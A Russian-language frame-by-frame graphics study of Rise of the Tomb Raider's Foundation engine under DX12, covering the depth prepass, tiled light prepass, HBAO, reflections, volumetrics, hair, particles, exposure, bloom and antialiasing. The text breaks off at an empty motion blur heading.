Rise of the Tomb Raider (2015 год) — это сиквел превосходного перезапуска Tomb Raider (2013 год). Лично я нахожу обе части интересными, потому что они отошли от стагнирующей оригинальной серии и рассказали историю Лары заново. В этой игре, как и в приквеле, центральное место занимает сюжет, она предоставляет увлекательные механики крафтинга, охоты и скалолазания/исследований.
В Tomb Raider использовался разработанный Crystal Dynamics движок Crystal Engine, также применявшийся в [Deus Ex: Human Revolution](http://www.adriancourreges.com/blog/2015/03/10/deus-ex-human-revolution-graphics-study/). В сиквеле использовали новый движок под названием Foundation, ранее разрабатывавшийся для Lara Croft and the Temple of Osiris (2014 год). Его рендеринг можно в целом описать как тайловый движок с предварительным проходом освещения, и позже мы узнаем, что это означает. Движок позволяет выбирать между рендерерами DX11 и DX12; я выбрал последний, по причинам, которые мы обсудим ниже. Для захвата кадра использовался [Renderdoc](https://renderdoc.org/) 1.2 на Geforce 980 Ti, в игре включены все функции и украшательства.
Анализируемый кадр
------------------
Чтобы не было спойлеров, скажу, что в этом кадре плохие парни преследуют Лару, потому что она ищет артефакт, который разыскивают и они. Этот конфликт интересов никак не разрешить без оружия. Лара ночью пробралась на вражескую база. Я выбрал кадр с атмосферным и контрастным освещением, при котором движок может показать себя.
#### Предварительный проход глубины
Здесь выполняется привычная для многих игр оптимизация — небольшой предварительный проход глубины (примерно 100 вызовов отрисовки). Игра рендерит самые крупные объекты (а не те, которые занимают больше места на экране), чтобы воспользоваться преимуществом функции видеопроцессоров Early-Z. Подробнее о ней рассказывается в [статье Intel](https://software.intel.com/en-us/articles/early-z-rejection-sample). Если вкратце, то GPU способны избегать выполнения пиксельного шейдера, если могут определить, что он перекрыт предыдущим пикселем. Это довольно малозатратный проход, предварительно заполняющий Z-буфер значениями глубин.
На этом этапе я обнаружил интересную технику уровней детализации (level of detail, LOD) под названием «fizzle» или «checkerboard». Это распространённый способ постепенного отображения или сокрытия объектов на расстоянии, чтобы в дальнейшем или заменить их мешем более низкого качества, или полностью скрыть их. Посмотрите на этот грузовик. Похоже, что он рендерится дважды, но на самом деле он рендерится с высоким LOD и низким LOD в одной и той же позиции. Каждый из уровней рендерит те пиксели, которые не отрендерил другой. Первый LOD имеет 182226 вершин, а второй LOD — 47250. На большом расстоянии они неразличимы, но один из них в три раза менее затратен. В этом кадре LOD 0 почти исчезает, а LOD 1 рендерится почти полностью. После полного исчезновения LOD 0 будет рендериться только LOD 1.
*LOD 0*
*LOD 1*
Псевдослучайная текстура и коэффициент вероятности позволяет нам отбрасывать пиксели, не прошедшие порогового значения. Эта текстура используется в ROTR. Можно задаться вопросом, почему же не используется альфа-смешение. У альфа-смешения есть множество недостатков по сравнению с fizzle fading.
1. **Удобство для предварительного прохода глубин:** благодаря рендерингу непрозрачного объекта с проделанными в нём отверстиями, мы можем выполнять рендеринг в предварительном проходе и пользоваться early-z. Объекты с альфа-смешением на столь раннем этапе не рендерятся в буфер глубин из-за проблем с сортировкой.
2. **Необходимость дополнительных шейдеров**: если используется отложенный рендерер, то шейдер непрозрачных объектов не содержит никакого освещения. Если вам нужно заменить непрозрачный объект прозрачным, то необходим отдельный вариант, в котором есть освещение. Кроме повышения объёма нужной памяти и сложности из-за по крайней мере одного дополнительного шейдера для всех непрозрачных объектов, они должны быть точными, чтобы избежать выступания объектов вперёд. Это сложно по многим причинам, но всё сводится к тому, что рендеринг теперь выполняется по другому пути кода.
3. **Больший объём перерисовки**: альфа-смешение может создавать большую перерисовку и при определённом уровне сложности объектов может потребоваться большая доля полосы пропускания для затенения LOD.
4. **Z-конфликты**: z-конфликты — это [эффект мерцания](https://youtu.be/9AcCrF_nX-I), когда два полигона рендерятся на очень близкой друг к другу глубине. При этом неточность вычислений с плавающей запятой заставляет их рендериться по очереди. Если мы отрендерим два последовательных LOD, постепенно скрывая один и показывая второй, то они могут вызвать z-конфликт, потому что очень близки друг к другу. Всегда есть способы обойти это, например, предпочитая один полигон другому, но такая система оказывается сложной.
5. **Эффекты Z-буфера**: многие эффекты наподобие SSAO используют только буфер глубин. Если бы мы рендерили прозрачные объекты в конце конвейера, когда ambient occlusion уже выполнено, то не могли бы его учесть.
Недостаток этой техники в том, что она выглядит хуже, чем альфа-смешение, но хороший паттерн шума, размытие после fizzle или временной антиалиасинг могут почти полностью скрыть это. В этом отношении ROTR не делает ничего особо необычного.
#### Проход нормалей
В своих играх Crystal Dynamics использует довольно необычную схему освещения, которую мы рассмотрим в проходе освещения. Пока же достаточно сказать, что движке нет прохода G-буфера; по крайней мере, в той степени, которая привычна в других играх. На этом проходе объекты передают на выход только информацию о глубине и нормалях. Нормали записываются в render target формата RGBA16\_SNORM в мировом пространстве. Любопытно, что этот движок использует схему Z-up, а не Y-up (вверх направлена ось Z, а не Y), которая более часто применяется в других движках/пакетах моделирования. В альфа-канале содержится глянцевость (glossiness), которая в дальнейшем распаковывается как `exp2(glossiness * 12 + 1.0)`. Значение glossiness может быть и отрицательным, потому что знак используется как флаг, показывающий, является ли поверхность металлической. Это можно заметить и самостоятельно, потому что все тёмные цвета в альфа-канале относятся к металлическим объектам.
| | | | |
| --- | --- | --- | --- |
| **R** | **G** | **B** | |
| **Normal.x** | **Normal.y** | **Normal.z** | **Glossiness + Metalness** |
*Нормали*
*Glossiness/Metalness*
**Преимущества предварительного прохода глубин**
Помните, что в разделе «Предварительный проход глубин» мы говорили об экономии затрат на пиксели? Я немного вернусь назад, чтобы проиллюстрировать её. Возьмём следующее изображение. Это рендеринг детализированной части горы в буфер нормалей. Renderdoc любезно выделил пиксели, прошедшие тест глубины, зелёным цветом, а не прошедшие его — красным (они не рендерятся). Общее количество пикселей, которые бы отрендерились без этого предварительного прохода, примерно равно 104518 (подсчитано в Photoshop). Общее количество пикселей, рендерящихся на самом деле, равно 23858 (вычислено Renderdoc). Экономия примерно в 77%! Как мы видим, при умном использовании этот предварительный проход может дать большой выигрыш, а требует он всего около ста вызовов отрисовки.
**Запись многопоточных команд**
Стоит отметить один интересный аспект, из-за которого я выбрал рендерер DX12 — запись многопоточных команд. В предыдущих API, например в DX11, рендеринг обычно выполняется в одном потоке. Графический драйвер получал от игры команды отрисовки и постоянно передавал запросы GPU, но игра не знала, когда это произойдёт. Это приводит к неэффективности, потому что драйвер должен каким-то образом догадываться, что пытается сделать приложение, и не масштабируется на несколько потоков. Более новые API, такие как DX12, передают управление разработчику, который сам может решать, как записывать команды и когда отправлять их. Хотя Renderdoc и не может показать, как выполняется запись, вы увидите, что есть семь проходов цвета, помеченные как Color Pass N, и каждый из них обёрнут в пару ExecuteCommandList: Reset/Close. Она обозначает начало и конец списка команд. На список приходится примерно 100-200 вызовов отрисовки. Это не означает, что они были записаны с помощью нескольких потоков, но намекает на это.
**Следы на снегу**
Если посмотреть на Лару, то можно заметить, что при перемещении перед скриншотом она оставила на снегу следы. В каждом кадре выполняется вычислительный шейдер (compute shader), записывающий деформации в определённых областях и применяющий их на основании типа и высоты поверхности. Здесь к снегу применяется только карта нормалей (т.е. геометрия не изменяется), но в некоторых областях, где толщина снега больше, деформация выполняется на самом деле! Можно также увидеть, как снег «падает» на место и заполняет оставленные Ларой следы. Гораздо подробнее эта техника описана в [GPU Pro 7](http://gpupro.blogspot.com/2016/01/gpu-pro-7-table-of-content.html). Текстура деформации снега — это своего рода карта высот, отслеживающая движения Лары и склеенная по краям так, чтобы шейдер сэмплирования мог воспользоваться этим сворачиванием.
#### Атлас теней
При создании Shadow mapping используется довольно распространённый подход — упаковка как можно большего количества карт теней в общую текстуру теней. Такой атлас теней на самом деле является огромной 16-битной текстурой размером 16384×8196. Это позволяет очень гибко многократно использовать и масштабировать карты теней, находящиеся в атласе. В анализируемом нами кадре в атлас записано 8 карт теней. Четыре из них относятся к основному источнику направленного освещения (луне, ведь дело происходит ночью), потому что они используют каскадные карты теней — достаточно стандартную технику теней дальних расстояний для направленного освещения, которую я уже немного объяснял [ранее](https://habr.com/ru/post/430518/). Более интересно то, что в захват этого кадра также включены несколько прожекторных и точечных источников освещения. То, что в этом кадре записано 8 карт теней, не означает, что в нём есть только 8 источников отбрасывающего тени освещения. Игра может кэшировать вычисления теней, то есть освещение, у которого не изменилась или позиция источника, или геометрия в области действия, не должно обновлять свою карту теней.
Похоже, что рендеринг карт теней тоже выигрывает от записи многопоточных команд в список, и в данном случае для рендеринга карт теней записано целых 19 списков команд.
**Тени от направленного освещения**
Тени от направленного освещения вычисляются до прохода освещения и позже сэмплируются. Я не знаю, что произошло бы, если бы в сцене было несколько источников направленного освещения.
#### Ambient Occlusion
Для ambient occlusion ROTR позволяет использовать на выбор или HBAO, или его разновидность HBAO+ (эту технику изначально опубликовала NVIDIA). Существует несколько вариаций этого алгоритма, поэтому я рассмотрю тот, который я обнаружил в ROTR. Сначала буфер глубин разделяется на 16 текстур, каждая из которых содержит 1/16 от всех значений глубин. Разделение выполняется таким образом, что каждая текстура содержит одно значение из блока 4×4 оригинальной текстуры, показанной на рисунке ниже. Первая текстура содержит все значения, отмеченные красным (1), вторая — значения, отмеченные синим (2), и так далее. Если вы хотите узнать подробности об этой технике, то вот [статья](https://developer.nvidia.com/sites/default/files/akamai/gamedev/docs/BAVOIL_ParticleShadowsAndCacheEfficientPost.pdf) [Louis Bavoil](https://twitter.com/louisbavoil), который также был одним из авторов статьи про HBAO.
Следующий этап вычисляет для каждой текстуры ambient occlusion, что даёт нам 16 текстур AO. Генерируется ambient occlusion следующим образом: несколько раз сэмплируется буфер глубин, воссоздавая позицию и накапливая результат вычислений для каждого из сэмплов. Каждая текстура ambient occlusion вычисляется с использованием разных координат сэмплирования, то есть в блоке пикселей 4×4 каждый пиксель рассказывает свою часть истории. Это сделано по причине производительности. Каждый пиксель уже сэмплирует буфер глубин 32 раз, а полный эффект потребует 16×32 = 512 сэмпла, что является перебором даже для самых мощных GPU. Затем они рекомбинируются в одну полноэкранную текстуру, которая получается довольно шумной, поэтому для сглаживания результатов сразу после этого выполняется проход полноэкранного размытия. Очень похожее решение мы видели в [Shadow of Mordor](https://habr.com/ru/post/430518/).
*Части HBAO*
*Полное HBAO с шумом*
*Полное HBAO с горизонтальным размытием*
*Готовое HBAO*
#### Тайловый предварительный проход освещения
Предварительный проход освещения (Light Prepass) — довольно необычная техника. Большинство команд разработчиков использует сочетание отложенного + прямого расчёта освещения (с вариациями, например, с тайловым, кластерным) или полностью прямой для некоторых эффектов экранного пространства. Техника предварительного прохода освещения настолько необычна, что заслуживает объяснения. Если концепция традиционного отложенного освещения заключается в отделении свойств материалов от освещения, то в основе предварительного прохода освещения заложена идея отделения освещения от свойств материалов. Хотя такая формулировка выглядит немного глупо, отличие от традиционного отложенного освещения в том, что мы храним все свойства материалов (такие как albedo, specular color, roughness, metalness, micro-occlusion, emissive) в огромном G-буфере, и используем его позже как входные данные для последующих проходов освещения. Традиционное отложенное освещение может представлять большую нагрузку на пропускную способность; чем сложнее материалы, тем больше информации и операций необходимо в G-буфере. Однако в предварительном проходе освещения мы сначала накапливаем всё освещение отдельно, используя минимальный объём данных, а затем применяем их в последующих проходах к материалам. В данном случае освещению достаточно только нормалей, roughness и metalness. Шейдеры (здесь используются два прохода) выводят данные в три render target формата RGBA16F. Один содержит диффузное освещение, второй — зеркальное освещение, а третий — окружающее освещение. На этом этапе учитываются все данные теней. Любопытно, что в первом проходе (диффузное + зеркальное освещение) для полноэкранного прохода используется четырёхугольник (quad) из двух треугольников, а в других эффектах используется один полноэкранный треугольник (почему это важно, можно узнать [здесь](https://michaldrobot.com/2014/04/01/gcn-execution-patterns-in-full-screen-passes/)). С этой точки зрения весь кадр не является целостным.
*Диффузное освещение*
*Зеркальное освещение*
*Окружающее освещение*
**Тайловая оптимизация**
Тайловое освещение — это техника оптимизации, предназначенная для рендеринга большого количества источников освещения. ROTR разделяет экран на тайлы 16×16, а затем сохраняет информацию о том, какие источники пересекают каждый тайл, то есть вычисления освещения будут выполняться только для тех источников, которые касаются тайлов. В начале кадра запускается последовательность вычислительных шейдеров, определяющих какие источники касаются тайлов. На этапе освещения каждый пиксель определяет, в каком тайле он находится и обходит в цикле каждый источник освещения в тайле, выполняя все вычисления освещения. Если привязка источников к тайлам выполнена качественно, то можно сэкономить много вычислений и большую часть полосы пропускания, а также повысить производительность.
**Увеличение масштаба с учётом глубины**
Повышающая дискретизация с учётом глубины — это интересная техника, полезная на этом и последующих проходах. Иногда вычислительно затратные алгоритмы невозможно отрендерить в полном разрешении, поэтому они рендерятся с меньшим разрешением, а потом увеличиваются в масштабе. В нашем случае в половинном разрешении вычисляется окружающее освещение, то есть после расчётов освещение необходимо правильно воссоздать. В простейшем виде берутся 4 пикселя низкого разрешения и интерполируются, чтобы получить нечто, напоминающее исходное изображение. Это срабатывает для плавных переходов, но плохо выглядит на разрывах поверхностей, потому что там мы смешиваем несвязанные друг с другом величины, которые могут быть смежными в экранном пространстве, но отдалёнными друг от друга в мировом пространстве. В решениях этой проблемы обычно берутся несколько сэмплов буфера глубин и сравниваются с сэмплом глубин, который мы хотим воссоздать. Если сэмпл находится слишком далеко, то мы не учитываем его при воссоздании. Такая схема работает хорошо, но она означает, что шейдер воссоздания сильно нагружает полосу пропускания.
ROTR делает хитрый ход с помощью раннего отбрасывания стенсила. После прохода нормалей буфер глубин полностью заполнен, поэтому движок выполняет полноэкранный проход, помечающий все прерывающиеся пиксели в стенсил-буфере. Когда настаёт время воссоздания буфера окружающего освещения, движок использует два шейдера: один очень простой — для областей без разрывов глубин, другой — более сложный для пикселей с разрывами. Ранний стенсил отбрасывает пиксели, если они не принадлежат соответствующей области, то есть затраты есть только в нужных областях. На следующих изображениях гораздо понятнее:
*Окружающее освещение в половинном разрешении*
*Повышение масштаба глубин внутренних частей*
*Окружающее освещение в полном разрешении, без рёбер*
*Повышение масштаба глубин рёбер*
*Готовое окружающее освещение*
*Приближенный вид половинного разрешения*
*Приближенный вид воссозданного изображения*
После предварительного прохода освещения геометрия передаётся в конвейер, только на этот раз каждый объект сэмплирует текстуры освещения, текстуру ambient occlusion и другие свойства материалов, которые мы не записали в G-буфер с самого начала. Это хорошо, потому что здесь сильно экономится пропускная способность благодаря тому, что не нужно считывать кучу текстур, чтобы записывать их в большой G-буфер, чтобы потом их снова считать/декодировать. Очевидный недостаток такого подхода в том, что всю геометрию нужно передавать заново, а текстуры предварительного прохода освещения сами по себе представляют большую нагрузку на пропускную способность. Я задавался вопросом, почему для текстур предварительного прохода освещения не использовать более лёгкий формат, например R11G11B10F, но в альфа-канале есть дополнительная информация, поэтому это было бы невозможно. Как бы то ни было, это интересное техническое решение. На этом этапе вся непрозрачная геометрия уже отрендерена и освещена. Заметьте, что в неё включены такие испускающие свет объекты, как небо и экран ноутбука.
#### Отражения
Эта сцена — не особо хороший пример для демонстрации отражений, поэтому я выбрал другую. Шейдер отражений — это довольно сложное сочетание циклов, которые можно свести к двум частям: одна сэмплирует кубические карты, а другая выполняет SSR (Screen space reflection — вычисления отражений в экранном пространстве); всё это делается в одном проходе и в конце смешивается с учётом коэффициента, определяющего, обнаружило ли SSR отражение (вероятно, коэффициент не двоичный, а является значением в интервале [0, 1]). SSR работает стандартным для многих игр образом — многократно трассирует буфер глубин, пытаясь найти наилучшее пересечение между лучом, отражённым затеняемой поверхностью, и другой поверхностью в каком-нибудь месте экрана. SSR работает с mip-цепочкой ранее уменьшенного масштаба текущего HDR-буфера, а не со всем буфером.
Тут также есть такие факторы корректировки, как яркость отражения, а также своеобразная френелевская текстура, которая вычислена до этого прохода, на основании нормалей и roughness. Я не полностью уверен, но после изучения ассемблерного кода мне кажется, что ROTR может вычислять SSR только для гладких поверхностей. В движке нет mip-цепочки размытия после этапа SSR, которые существуют в других [движках](https://www.guerrilla-games.com/read/taking-killzone-shadow-fall-image-quality-into-the-next-generation-1), и нет даже ничего наподобие трассировки буфера глубин с помощью лучей, которая [варьируется на основании roughness](https://www.ea.com/frostbite/news/stochastic-screen-space-reflections). В целом, более шероховатые поверхности получают отражения от кубических карт, или не получают их вовсе. Тем не менее, там, где работает SSR, его качество очень высоко и стабильно, с учётом того, что он не накапливается по времени и для него не выполняется пространственное размытие. Альфа-данные тоже поддерживают SSR (в некоторых храмах можно увидеть очень красивые отражения в воде) и это хорошее дополнение, которое не часто увидишь.
*Отражения до*
*Буфер отражений*
*Отражения после*
#### Освещённый туман
В нашей сцене туман представлен плохо, потому что он затемняет фон, и поэтому создан частицами, так что мы снова используем пример с отражениями. Туман относительно прост, но довольно эффективен. Есть два режима: глобальный, общий цвет тумана, и цвет рассеяния внутрь, получаемый из кубической карты. Возможно, кубическую карту снова взяли из кубических карт отражений, а может быть, создали заново. В обоих режимах разрежение тумана берётся из глобальной текстуры разрежения, в которую запакованы кривые разрежения для нескольких эффектов. В такой схема замечательно то, что она даёт очень малозатратный освещённый туман, т.е. рассеяние внутрь изменяется в пространстве, создавая иллюзию взаимодействия тумана с отдалённым освещением. Такой подход также можно использовать для атмосферного рассеяния внутрь у неба.
*Туман до*
*Туман после*
#### Объёмное освещение
На ранних этапах кадра происходит несколько операций для подготовки к объёмному освещению. Из ЦП в GPU копируются два буфера: индексов источников освещения и данных источников освещения. Оба считываются вычислительным шейдером, который выводит 3D-текстуру 40x23x16 вида из камеры, содержащую количество источников освещения, пересекающих эту область. Текстура имеет размеры 40×23, потому что каждый тайл занимает 32×32 пикселя (1280/32 = 40, 720/32 = 22.5), а 16 — это количество пикселей в глубине. В текстуру включаются не все источники освещения, а только те, которые помечены как объёмные (в нашей сцене их три). Как мы увидим ниже, есть и другие фальшивые объёмные эффекты, создаваемые плоскими текстурами. Выводимая текстура имеет большее разрешение — 160x90x64. После определения количества источников освещения на тайл и их индекса последовательно запускаются три вычислительных шейдера, выполняющих следующие операции:
1. Первый проход определяет количество входящего в ячейку света в пределах объёма в форме пирамиды видимости. Каждая ячейка накапливает влияние всех источников освещения, как будто в них есть взвешенные частицы, реагирующие на свет и возвращающие его часть в камеру.
2. Второй проход выполняет размытие освещения с небольшим радиусом. Вероятно, это нужно, чтобы избежать мерцания при перемещении камеры, потому что разрешение очень низкое.
3. Третий проход обходит текстуру объёма спереди назад, инкрементно прибавляя влияние каждого источника и выдавая готовую текстуру. По сути он симулирует общее количество входящего освещения по лучу до заданного расстояния. Так как каждая ячейка содержит часть света, отражённую частицами в сторону камеры, в то в каждой из них мы получим совместный вклад всех ранее пройденных ячеек. Этот проход тоже выполняет размытие.
Когда всё это завершится, у нас получается 3D-текстура, сообщающая, сколько света получает конкретная позиция относительно камеры. Всё, что остаётся сделать полноэкранному проходу — определить эту позицию, найти соответствующий воксель текстуры и прибавить его к HDR-буферу. Сам шейдер освещения очень прост и содержит всего около 16 инструкций.
*Объёмное освещение до*
*Объёмное освещение после*
#### Рендеринг волос
Если функция PureHair не включена, то поверх друг друга рендерятся стандартные слои волос. Это решение по-прежнему выглядит отлично, но я хотел бы сосредоточиться на самых современных технологиях. Если функция включена, то кадр начинается с симуляции волос Лары последовательностью вычислительных шедеров. Первая часть Tomb Raider использовала технологию под названием TressFX, а в сиквеле Crystal Dynamics реализовала улучшенную технологию. После первоначальных вычислений получается целых 7 буферов. Все они используются для управления волосами Лары. Процесс выполняется следующим образом:
1. Запуск вычислительного шейдера для вычисления значений движения на основе предыдущих и текущий позиций (для motion blur)
2. Запуск вычислительного шейдера для заполнения кубической карты светимости размером 1×1 на основе зонда отражений и информации светимости (освещения)
3. Создание примерно 122 тысяч вершин в режиме полос треугольников (Triangle Strip) (каждая прядь волос — это полоса). Здесь нет никакого буфера вершин, как можно было бы ожидать при обычных вызовах отрисовки. Вместо них есть 7 буферов, содержащих всё необходимое для построения волос. Пиксельный шейдер выполняет ручную обрезку, если пиксель находится за пределами окна, то отбрасывается. Этот проход помечает стенсил как «содержащий волосы».
4. Проход освещения/тумана рендерит полноэкранный quad со включенным тестированием стенсила, чтобы вычислялись только те пиксели, в которых действительно видны волосы. По сути, он считает волосы непрозрачнми и ограничивает затенение только теми прядями, которые видны на экране.
5. Также есть финальный проход наподобие этапа 4, который выводит только глубину волос (выполняет копирование из текстуры «глубины волос»)
Если вам интересно узнать об этом подробнее, то у AMD есть множество [ресурсов](http://amd-dev.wpengine.netdna-cdn.com/wordpress/media/2012/10/Augmented-Hair-in-Deus-Ex-Universe-Projects-TressFX-3.0.ppsx) и [презентаций](http://32ipi028l5q82yhj72224m8j.wpengine.netdna-cdn.com/wp-content/uploads/2017/03/GDC2017-Real-Time-Finite-Element-Method-And-TressFX-4.0.pdf), потому что это созданная компанией [библиотека общего пользования](https://gpuopen.com/gaming-product/tressfx/). Меня сбил с толку этап перед этапом 1, в котором выполняется тот же вызов отрисовки, что и на этапе 3, при этом говорится, что он рендерит только в значения глубины, но на самом деле содержимое не рендерится, и это любопытно; возможно, Renderdoc мне чего-то недоговаривает. Я подозреваю, что он, возможно, пытался выполнить условный запрос рендеринга, но я не вижу никаких вызовов прогнозирования.
*Волосы до*
*Видимые пиксели волос*
*Волосы с затенением*
#### Тайловый рендеринг альфа-данных и частицы
Прозрачные объекты снова используют потайловую классификацию источников освещения, вычисленную для тайлового предварительного прохода освещения. Каждый прозрачный объект вычисляет собственное освещение в одном проходе, то есть количество инструкций и циклов становится довольно пугающим (именно поэтому для непрозрачных объектов и использовался предварительный проход освещения). Прозрачные объекты могут даже выполнять отражения в экранном пространстве, если они включены! Каждый объект рендерится в порядке сортировки сзади вперёд непосредственно в HDR-буфер, в том числе стекло, пламя, вода в колеях и т.д. Альфа-проход также рендерит подсветку краёв, когда Лара фокусируется на каком-то объекте (например, на бутылке с горючей смесью на ящике слева).
Однако частицы рендерятся в буфер половинного разрешения, чтобы сгладить огромную нагрузку на полосу пропускания, создаваемую их перерисовкой, особенно когда множество крупных, закрывающих экран частиц используется для создания тумана, мглы, пламени и т.д. Поэтому HDR-буфер и буфер глубин уменьшаются в половину по каждой из сторон, после чего начинается рендеринг частиц. Частицы создают огромный объём перерисовки, некоторые пиксели затеняются примерно 40 раз. На тепловой карте видно, что я имею в виду. Так как частицы рендерились в половинном разрешении, здесь используется тот же умный трюк с повышением масштаба, что и в окружающем освещении (в стенсиле помечаются разрывы, первый проход выполняет рендеринг во внутренние пиксели, второй воссоздаёт края). Можно заметить, что частицы рендерятся до некоторых других альфа-эффектов, таких как пламя, сияние и т.д. Это необходимо, чтобы альфу можно было правильно сортировать относительно, например, дыма. Также можно заметить, что здесь появляются «объёмные» лучи света, идущие от охранных прожекторов. Они добавляются здесь, а не создаются на этапе объёмного освещения. Это малозатратный, но реалистичный способ создания их на большом расстоянии.
*Только непрозрачные объекты*
*Первый альфа-проход*
*Частицы половинного разрешения 1*
*Частицы половинного разрешения 2*
*Частицы половинного разрешения 3*
*Увеличение масштаба внутренних частей*
*Увеличение масштаба краёв*
*Полные альфа-данные*
#### Выдержка и тональная коррекция
ROTR выполняет выдержку и тональную коррекцию за один проход. Однако хотя мы обычно считаем, что при тональной коррекции происходит гамма-коррекция, здесь это не так. Есть множество способов реализации выдержки, как мы это видели на примере [других](http://www.elopezr.com/castlevania-lords-of-shadow-2-graphics-study/) [игр](https://habr.com/ru/post/430518/). Вычисление яркости (luminance) в ROTR выполняется очень интересно и не требует почти никаких промежуточных данных или проходов, поэтому мы объясним этот процесс подробнее. Весь экран разделяется на тайлы 64×64, после чего запускается вычисление групп (20, 12, 1) по 256 потоков в каждой для заполнения всего экрана. Каждый поток по сути выполняет следующую задачу (ниже представлен псевдокод):
```
for(int i = 0; i < 16; ++i)
{
uint2 iCoord = CalculateCoord(threadID, i, j); // Obtain coordinate
float3 hdrValue = Load(hdrTexture, iCoord.xyz); // Read HDR
float maxHDRValue = max3(hdrValue); // Find max component
float minHDRValue = min3(hdrValue); // Find min component
float clampedAverage = max(0.0, (maxHDRValue + minHDRValue) / 2.0);
float logAverage = log(clampedAverage); // Natural logarithm
sumLogAverage += logAverage;
}
```
Каждая группа вычисляет логарифмическую сумму всех 64 пикселей (256 потоков, каждый из которых обрабатывает 16 значений). Вместо того, чтобы хранить среднее значение, она сохраняет сумму и количество действительно обработанных пикселей (не все группы обработают ровно 64×64 пикселя, потому что, например, могут выходить за края экрана). Шейдер с умом использует локальное хранилище потока для разделения суммы; каждый поток сначала работает с 16 горизонтальными значениями, а затем отдельные потоки суммируют все эти значения по вертикали, и наконец управляющий поток этой группы (поток 0) складывает результат и сохраняет их все в буфер. Этот буфер содержит 240 элементов, по сути давая нам среднюю яркость множества областей экрана. Последующая команда запускает 64 потока, которые обходят в цикле все эти значения и складывают их, чтобы получить окончательную яркость экрана. Также он возвращается обратно от логарифма к линейным единицам измерения.
У меня нет большого опыта работы с техниками выдержки, но чтение [этого поста](https://knarkowicz.wordpress.com/2016/01/09/automatic-exposure/) Кшиштофа Нарковича прояснило некоторые вещи. Сохранение в массив из 64 элементов необходимо для вычисления скользящего среднего, при котором можно просматривать предыдущие вычисленные значения и сглаживать кривую, чтобы избегать очень резких изменений яркости, создающих резкие изменения выдержки. Это очень сложный шейдер и я ещё не разобрался во всех его подробностях, но конечным результатом является соответствующее текущему кадру значение выдержки.
После нахождения адекватных значений выдержки один проход выполняет финальную выдержку плюс тональную коррекцию. Похоже, что в ROTR используется [фотографическая тональная коррекция (Photographic Tonemapping)](http://www.cmap.polytechnique.fr/~peyre/cours/x2005signal/hdr_photographic.pdf), что объясняет использование логарифмических средних значений вместо обычных средних. Формулу тональной коррекции в шейдере (после выдержки) можно развернуть следующим образом:
Краткое объяснение можно найти [здесь](https://expf.wordpress.com/2010/05/04/reinhards_tone_mapping_operator/). Я не смог разобраться, зачем нужно дополнительное деление на Lm, ведь оно отменяет влияние умножения. В любом случае whitePoint равно 1.0, поэтому процесс делает не очень много в этом кадре, изображение изменяет только выдержка. Здесь даже не происходит ограничение значений пределами интервала LDR! Оно происходит во время цветокоррекции, когда цветовой куб косвенно ограничивает значения больше 1.0.
*Выдержка до*
*Выдержка после*
#### Блики объектива
Блики объектива (Lens Flares) рендерятся интересным образом. Небольшой предварительный проход вычисляет текстуру размером 1xN (где N — это общее количество элементов бликов, которые будут рендериться как блики объектива, в нашем случае их 28). Эта текстура содержит альфа-значение для частицы и некую другую неиспользуемую информацию, но вместо вычисления её из запроса видимости или чего-то подобного, движок вычисляет её, анализируя буфер глубин вокруг частицы в круге. Для этого информация о вершинах хранится в буфере, доступном для пиксельного шейдера.
Затем каждый элемент рендерится как простые выровненные относительно экрана плоскости, испускаемые из источников освещения. Если альфа-значение меньше 0.01, то позиции присваивается значение NaN, чтобы эта частица не растеризировалась. Они немного походят на эффект bloom и добавляют свечения, но сам этот эффект создаётся позже.
*Lens Flares до*
*Элементы Lens Flare*
*Lens Flares после*
#### Bloom
В Bloom используется стандартный подход: выполняется даунсэмплинг HDR-буфера, яркие пиксели изолируются, а затем их масштаб последовательно увеличивается с размытием, чтобы расширить область их влияния. Результат увеличивается до разрешения экрана и композитингом накладывается поверх него. Здесь есть пара интересных моментов, стоящих исследования. Весь процесс выполняется с помощью 7 вычислительных шейдеров: 2 для даунсэмплинга, 1 для простого размытия, 4 для увеличения масштаба.
1. Первый даунсэмплинг из полного в половинное разрешение выбирает пиксели ярче заданного порогового значения и выводит их в target половинного разрешения (mip 1). Также он пользуется возможностью и одновременно выполняет размытие. Можно заметить, что первая mip-текстура становится только немного темнее, потому что мы отбросили пиксели с довольно низким пороговым значением 0.02.
2. Следующий шейдер даунсэмплинга берёт mip и создаёт за один проход mip 2, 3, 4 и 5.
3. Следующий проход за один проход размывает mip 5. Во всём этом процессе нет отделимых операций размытия, которые мы иногда встречали. Все операции размытия пользуются групповой общей памятью, чтобы шейдер брал как можно меньше сэмплов и повторно используют данные своих соседей.
4. Увеличение масштаба — тоже интересный процесс. Эти 3 прохода увеличения масштаба используют одинаковый шейдер и берут две текстуры, ранее размытую mip N и не размытую mip N + 1, смешивая их вместе с передаваемым снаружи коэффициентом, в тоже время размывая их. Это позволяет добавить в bloom более точные детали подсветки вместо тех, которые могут исчезнуть при размытии.
5. Финальное увеличение масштаба увеличивает mip 1 и прибавляет его к финальному HDR-буферу, умножая результат на контролируемую силу bloom.
*Bloom до*
*MIP 1 уменьшенного масштаба Bloom*
*MIP 2 уменьшенного масштаба Bloom*
*MIP 3 уменьшенного масштаба Bloom*
*MIP 4 уменьшенного масштаба Bloom*
*MIP 5 уменьшенного масштаба Bloom*
*Размытие MIP 5 эффекта Bloom*
*MIP 4 увеличенного масштаба Bloom*
*MIP 3 увеличенного масштаба Bloom*
*MIP 2 увеличенного масштаба Bloom*
*MIP 1 увеличенного масштаба Bloom*
*Bloom после*
Любопытный аспект заключается в том, что текстуры уменьшенного масштаба изменяют соотношение сторон. Ради визуализации я их подправил, и могу только догадываться о причинах этого; возможно, это сделано для того, чтобы размеры текстур были кратны 16. Ещё один любопытный момент: так как эти шейдеры обычно очень ограничены полосой пропускания, хранящиеся в групповой общей памяти значения преобразуются из float32 в float16! Это позволяет шейдеру обменять математические операции на удвоение свободной памяти и полосы пропускания. Чтобы это стало проблемой, интервал значений должен стать довольно большим.
#### FXAA
ROTR поддерживает широкий ассортимент различных техник сглаживания (антиалиасинга), например [FXAA](https://developer.download.nvidia.com/assets/gamedev/files/sdk/11/FXAA_WhitePaper.pdf) (Fast Approximate AA) и SSAA (Super Sampling AA). Примечательно отсутствие опции включения temporal AA, потому что для большинства современных AAA-игр оно становится стандартным. Как бы то ни было, FXAA справляется со своей задачей замечательно, SSAA тоже работает неплохо, это довольно «тяжёлая» опция, если игре не хватает производительности.
#### Motion Blur
